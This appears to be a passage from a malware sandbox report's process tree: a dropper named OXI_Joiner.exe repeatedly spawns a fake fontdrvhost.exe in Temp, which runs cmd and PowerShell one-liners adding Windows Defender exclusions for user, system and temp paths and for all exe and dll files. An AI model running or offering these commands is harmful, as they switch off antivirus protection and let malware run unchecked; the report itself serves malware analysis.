        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        70⤵
        Executes a command shell one-liner
        
        PID:11144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        71⤵
        
        PID:16856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        71⤵
        
        PID:3044
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        68⤵
        
        PID:10648
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        69⤵
        
        PID:9604
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        70⤵
        
        PID:16536
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        71⤵
        
        PID:16680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        72⤵
        
        PID:17360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        72⤵
        
        PID:11688
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        69⤵
        
        PID:16240
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        70⤵
        
        PID:10336
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        71⤵
        
        PID:16920
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        72⤵
        
        PID:17000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        73⤵
        
        PID:16396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        73⤵
        
        PID:15652
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        70⤵
        
        PID:10564
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        71⤵
        
        PID:10964
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        72⤵
        
        PID:17396
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        73⤵
        
        PID:16052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        74⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        74⤵
        
        PID:16040
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        71⤵
        
        PID:5584
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        72⤵
        
        PID:16556
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        73⤵
        
        PID:16544
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        74⤵
        
        PID:11884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        75⤵
        
        PID:11344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        75⤵
        
        PID:17192
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        72⤵
        
        PID:16688
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        73⤵
        
        PID:17196
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        74⤵
        
        PID:8780
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        75⤵
        
        PID:9244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        76⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        76⤵
        
        PID:16576
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        73⤵
        
        PID:17288
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        74⤵
        
        PID:16488
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        75⤵
        
        PID:15324
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        76⤵
        Executes a command shell one-liner
        
        PID:9884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        77⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        77⤵
        
        PID:2232
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        74⤵
        
        PID:9096
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        75⤵
        
        PID:16776
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        76⤵
        
        PID:1284
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        77⤵
        Executes a command shell one-liner
        
        PID:11880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        78⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3068
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        75⤵
        
        PID:4492
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        76⤵
        
        PID:9532
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        77⤵
        
        PID:10128
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        78⤵
        
        PID:12320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        79⤵
        
        PID:6080
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        76⤵
        
        PID:9692
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        77⤵
        
        PID:15500
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        78⤵
        
        PID:5484
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        79⤵
        
        PID:9800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        80⤵
        
        PID:7616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        80⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        77⤵
        
        PID:13416
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        78⤵
        
        PID:8424
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        79⤵
        
        PID:8640
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        80⤵
        
        PID:12536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        81⤵
        
        PID:12632
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        78⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        79⤵
        
        PID:13344
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        80⤵
        
        PID:12500
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        81⤵
        Executes a command shell one-liner
        
        PID:12700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        82⤵
        
        PID:12096
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        79⤵
        
        PID:13860
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        80⤵
        
        PID:6492
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        81⤵
        
        PID:11836
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        82⤵
        
        PID:8224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        83⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12800
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        80⤵
        
        PID:7284
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        81⤵
        
        PID:6640
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        82⤵
        
        PID:6716
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        83⤵
        Executes a command shell one-liner
        
        PID:16724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        84⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10764
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        81⤵
        
        PID:12808
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        82⤵
        
        PID:12924
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        83⤵
        
        PID:11296
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        84⤵
        Executes a command shell one-liner
        
        PID:9676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        85⤵
        
        PID:6532
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        82⤵
        
        PID:7124
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        83⤵
        
        PID:13016
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        84⤵
        
        PID:11340
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        85⤵
        
        PID:4392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        86⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14096
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        83⤵
        
        PID:14240
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        84⤵
        
        PID:10424
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        85⤵
        
        PID:13552
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        86⤵
        Executes a command shell one-liner
        
        PID:1836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        87⤵
        
        PID:11584
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        84⤵
        
        PID:4012
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        85⤵
        
        PID:13296
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        86⤵
        
        PID:10208
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        87⤵
        Executes a command shell one-liner
        
        PID:13752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        88⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13384
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        85⤵
        
        PID:13672
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        86⤵
        
        PID:14888
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        87⤵
        
        PID:14488
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        88⤵
        
        PID:13988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        89⤵
        
        PID:7960
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        86⤵
        
        PID:13768
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        87⤵
        
        PID:6512
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        88⤵
        
        PID:8412
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        89⤵
        
        PID:6648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        90⤵
        
        PID:14484
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        87⤵
        
        PID:12092
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        88⤵
        
        PID:8116
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        89⤵
        
        PID:4588
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        90⤵
        
        PID:1108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        91⤵
        
        PID:8136
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        88⤵
        
        PID:11052
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        89⤵
        
        PID:1864
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        90⤵
        
        PID:16464
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        91⤵
        
        PID:14000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        92⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9252
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        89⤵
        
        PID:14312
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        90⤵
        
        PID:13968
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        91⤵
        
        PID:14932
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        92⤵
        Executes a command shell one-liner
        
        PID:9208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        93⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7876
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        90⤵
        
        PID:12596
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        91⤵
        
        PID:11228
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        92⤵
        
        PID:16864
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        93⤵
        Executes a command shell one-liner
        
        PID:4932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        94⤵
        
        PID:15084
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        91⤵
        
        PID:14232
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
